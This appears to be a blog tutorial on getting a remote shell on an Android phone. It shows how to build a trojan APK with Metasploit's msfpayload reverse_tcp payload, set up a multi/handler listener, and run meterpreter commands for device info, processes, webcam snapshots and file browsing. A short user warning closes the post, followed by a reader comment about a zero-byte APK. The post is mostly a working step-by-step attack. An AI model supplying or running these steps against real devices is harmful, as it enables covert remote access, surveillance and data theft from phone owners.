Getting a Remote Shell on an Android Device using Metasploit
Metasploit is one of my favorite
security tools. What some don’t know is that Metasploit has added some
functionality for security testing Android Devices. In this post we will
show you how to get a remote shell on an Android by using Metasploit in
Kali Linux.
We will do this by creating a “malicious”
Android program file, an APK file, so that once it is run, it will
connect out to our attacking machine running Metasploit. We will set
Metasploit up to listen for the incoming connection and once it sees it,
create a fully functional remote shell to the device.
Creating a booby trapped APK file
First up, we need to create the APK that will include a remote shell. To do so, we will use the msfpayload command from Metasploit.1. In Kali Linux, open a terminal prompt and type:
sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk
The msfpayload command takes one of the
meterpreter payloads and allows you to create a stand alone file with
it. You will need to put your Kali Linux IP address in for the LHOST
address. You can change the port address also if you would like.
Once this is run, a file called “app.apk” will be created:
2. Now just send this file to your Android device, I used a Smart Phone in this instance.
3. When the file is installing on the
Android, it will come up like all apps and show you what capabilities it
wants access to on your phone. It lists like every possibility I think,
basically total access to the phone. This should be a warning to users
that this isn’t an app that they should be running!
Now that the “evil” app is installed, we need to set Metasploit up to listen for incoming connections.
4. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.
5. Once Metasploit starts, type in the following to create a listener:
- user exploit/multi/handler
- set payload android/meterpreter/reverse_tcp
- set lhost 192.168.1.16 (enter your Kali IP address)
- set lport 4444
Then just type exploit to start the handler:
6. Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.
7. A big button will appear on your phone
that says, “ReverseTcp”, when it is pressed, your phone will connect
out to the Metasploit system and a remote shell session is created.
On your Metaploit system you should see this:
An active session is created and it drops you automatically into a meterpreter prompt.
8. From here your can type “sysinfo” to get information on the device:
9. You can see the processes running by typing, “ps”:
You can surf the Android device remotely
by using standard Linux commands like ls, pwd, and cd. The Download
directory usually has interesting things in it.
Though it errored out on mine, you can type “webcam_list” to get a list of the phone’s web cams, then “webcam_snap” to take a snapshot from the webcam.Typing “help” at a meterpreter prompt will list all the command that are available.
We can also run the shell command that will drop us into a direct Terminal shell if we want:
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.But if the phone was rooted, I should have been able to access them… Remotely…
This should be noted by people who have rooted their phone!
And that is it! One wrong app installed by a user and an attacker could get remote access to your phone or other Android device. Did I mention that the phone was running an Anti-Virus program from a major vendor? It had no problems with letting my remote shell run…
Pay special attention to the rights and capabilities that an app wants when installing new apps. If a game wants full access to your phone, including the ability to make pay phone calls, this should be a red flag.
my apk shows zero bytes
ReplyDeletecan help